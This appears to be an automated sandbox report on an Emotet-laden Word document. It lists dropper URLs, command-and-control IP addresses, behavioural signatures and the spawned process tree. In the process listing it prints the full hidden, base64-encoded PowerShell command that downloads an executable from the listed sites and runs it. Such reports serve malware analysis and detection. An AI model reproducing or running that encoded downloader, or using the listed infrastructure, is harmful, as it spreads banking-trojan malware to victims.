Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    136s
  • resource
    win7v191014
  • submitted
    16-12-2019 07:53

Sharing

Copy URL
Twitter E-mail

General

  • Target

    Docs_12e90e4b70e21ee2e80f2563f43e72ab.html.doc

  • Sample

    191216-2lrdptpq9e

  • SHA256

    e8d3e9d5d4c9257a079e4140d2a7806854440a260a933a0f46c2d3a1979ecc9b

Score
10/10
evasionspywaretrojanbankeremotet

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://sandiegohomevalues.com/engl/4de-kzsyhu-768611/
exe.dropper

https://www.wenkawang.com/data/bofze0s-7ji4-15/
exe.dropper

https://www.bruidsfotograaf-utrecht.com/wp-includes/QLvFLy/
exe.dropper

http://ma.jopedu.com/img/8z8dl-3xn-655019278/
exe.dropper

http://pay.jopedu.com/ThinkPHP/l9okcguh6-b9nnrh7-96245524/

Extracted

Family

emotet

C2

108.184.9.44:80

88.247.26.78:80

181.46.176.38:80

164.68.115.146:8080

5.189.148.98:8080

46.105.128.215:8080

69.30.205.162:7080

46.105.131.68:8080

85.235.219.74:80

37.46.129.215:8080

153.190.41.185:80

115.179.91.58:80

100.38.11.243:80

119.57.36.54:8080

124.150.175.129:8080

139.59.12.63:8080

82.146.55.23:7080

123.142.37.165:80

95.216.212.157:8080

200.41.121.69:443
rsa_pubkey.plain

Signatures

  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Modifies registry class 136 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

    trojanbankeremotet
  • Modifies system certificate store 2 TTPs 1 IoCs
    evasionspywaretrojan
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs
  • Drops file in System32 directory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_12e90e4b70e21ee2e80f2563f43e72ab.html.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Drops file in System32 directory
    PID:1028
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABKAGIAagBkAG0AcgBrAGYAPQAnAFcAdgB4AG8AagBqAHgAeQAnADsAJABLAHEAegB2AHEAagBjAGQAYgBkAGsAIAA9ACAAJwAzADAANgAnADsAJABHAHgAZAB1AG8AYwBkAGoAYwBqAHQAPQAnAEIAawBmAGsAYgBvAGYAaQBwAHAAYwB6AHQAJwA7ACQATQBiAGsAbQBvAG8AbgBnAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABLAHEAegB2AHEAagBjAGQAYgBkAGsAKwAnAC4AZQB4AGUAJwA7ACQAVQBlAGYAYwB6AHAAYwBkAGYAaQB4AG8APQAnAFIAcQBkAGsAegBtAHkAZABtAHcAdAB3AGYAJwA7ACQASQB5AGIAbgBwAHkAdABmAGEAcABtAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAJwArACcAagBlAGMAJwArACcAdAAnACkAIABuAGUAVAAuAHcAZQBiAGMATABJAEUAbgB0ADsAJABEAHEAcwB5AG4AYQBoAHkAeQB2AHgAbAA9ACcAaAB0AHQAcABzADoALwAvAHMAYQBuAGQAaQBlAGcAbwBoAG8AbQBlAHYAYQBsAHUAZQBzAC4AYwBvAG0ALwBlAG4AZwBsAC8ANABkAGUALQBrAHoAcwB5AGgAdQAtADcANgA4ADYAMQAxAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgB3AGUAbgBrAGEAdwBhAG4AZwAuAGMAbwBtAC8AZABhAHQAYQAvAGIAbwBmAHoAZQAwAHMALQA3AGoAaQA0AC0AMQA1AC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBiAHIAdQBpAGQAcwBmAG8AdABvAGcAcgBhAGEAZgAtAHUAdAByAGUAYwBoAHQALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAFEATAB2AEYATAB5AC8AKgBoAHQAdABwADoALwAvAG0AYQAuAGoAbwBwAGUAZAB1AC4AYwBvAG0ALwBpAG0AZwAvADgAegA4AGQAbAAtADMAeABuAC0ANgA1ADUAMAAxADkAMgA3ADgALwAqAGgAdAB0AHAAOgAvAC8AcABhAHkALgBqAG8AcABlAGQAdQAuAGMAbwBtAC8AVABoAGkAbgBrAFAASABQAC8AbAA5AG8AawBjAGcAdQBoADYALQBiADkAbgBuAHIAaAA3AC0AOQA2ADIANAA1ADUAMgA0AC8AJwAuACIAUwBgAFAATABJAFQAIgAoACcAKgAnACkAOwAkAEEAdgB2AGgAawBvAHkAZQByAD0AJwBaAGcAegBiAGQAegB5AG0AeQAnADsAZgBvAHIAZQBhAGMAaAAoACQAUgBjAHIAbgBkAHEAZgBtAGYAbQBlACAAaQBuACAAJABEAHEAcwB5AG4AYQBoAHkAeQB2AHgAbAApAHsAdAByAHkAewAkAEkAeQBiAG4AcAB5AHQAZgBhAHAAbQAuACIAZABPAGAAVwBuAGwAbwBhAEQAZgBgAEkAbABlACIAKAAkAFIAYwByAG4AZABxAGYAbQBmAG0AZQAsACAAJABNAGIAawBtAG8AbwBuAGcAKQA7ACQAUAB0AGkAdQBxAHIAaQBqAGQAawBsAHYAZQA9ACcASAB3AGgAcwBtAGwAegBzACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQATQBiAGsAbQBvAG8AbgBnACkALgAiAEwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMwAwADMAMAA5ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAYABUAGEAcgBUACIAKAAkAE0AYgBrAG0AbwBvAG4AZwApADsAJABMAHMAdAB4AHMAcwBpAGEAPQAnAFkAcAB5AGgAdgBoAGgAdwAnADsAYgByAGUAYQBrADsAJABWAG4AYQBzAGIAZgBmAG0AbwBxAD0AJwBDAG0AZwBxAHAAZwBzAHMAbgBkAGkAYgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAGwAcgBlAHIAdgB6AGgAaQA9ACcAQgB2AG4AbQB2AG0AcABhAGQAbgBsAGIAJwA=
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    PID:1104
    • C:\Users\Admin\306.exe
      "C:\Users\Admin\306.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1728
      • C:\Users\Admin\306.exe
        --32715517
        3⤵
        • Suspicious use of SetWindowsHookEx
        • Executes dropped EXE
        • Suspicious behavior: EmotetMutantsSpam
        • Drops file in System32 directory
        PID:1256
  • C:\Windows\system32\conhost.exe
    \??\C:\Windows\system32\conhost.exe "1003057684324364423430350252008227691971696020-12325563152092719173-1366370866"
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:1668
  • C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k WerSvcGroup
    1⤵
      PID:316
    • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
      "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
      1⤵
        PID:1268
      • C:\Windows\SysWOW64\funcmonthly.exe
        "C:\Windows\SysWOW64\funcmonthly.exe"
        1⤵
        • Suspicious use of SetWindowsHookEx
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2012
        • C:\Windows\SysWOW64\funcmonthly.exe
          --c966c4df
          2⤵
          • Suspicious use of SetWindowsHookEx
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: EmotetMutantsSpam
          • Drops file in System32 directory
          PID:2040

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/1028-3-0x0000000008EC0000-0x0000000008EC4000-memory.dmp

        Filesize

        16KB

        Download

      • memory/1028-4-0x00000000063EA000-0x00000000063EE000-memory.dmp

        Filesize

        16KB

        Download

      • memory/1028-0-0x00000000062D0000-0x00000000062D4000-memory.dmp

        Filesize

        16KB

        Download

      • memory/1028-2-0x00000000063EA000-0x00000000063EE000-memory.dmp

        Filesize

        16KB

        Download

      • memory/1028-1-0x00000000063C4000-0x00000000063EA000-memory.dmp

        Filesize

        152KB

        Download

      • memory/1256-12-0x0000000000400000-0x0000000000483000-memory.dmp

        Filesize

        524KB

        Download

      • memory/1728-9-0x0000000000380000-0x0000000000397000-memory.dmp

        Filesize

        92KB

        Download

      • memory/2012-14-0x00000000001F0000-0x0000000000207000-memory.dmp

        Filesize

        92KB

        Download

      • memory/2040-16-0x0000000000260000-0x0000000000277000-memory.dmp

        Filesize

        92KB

        Download

      • memory/2040-17-0x0000000000400000-0x0000000000483000-memory.dmp

        Filesize

        524KB

        Download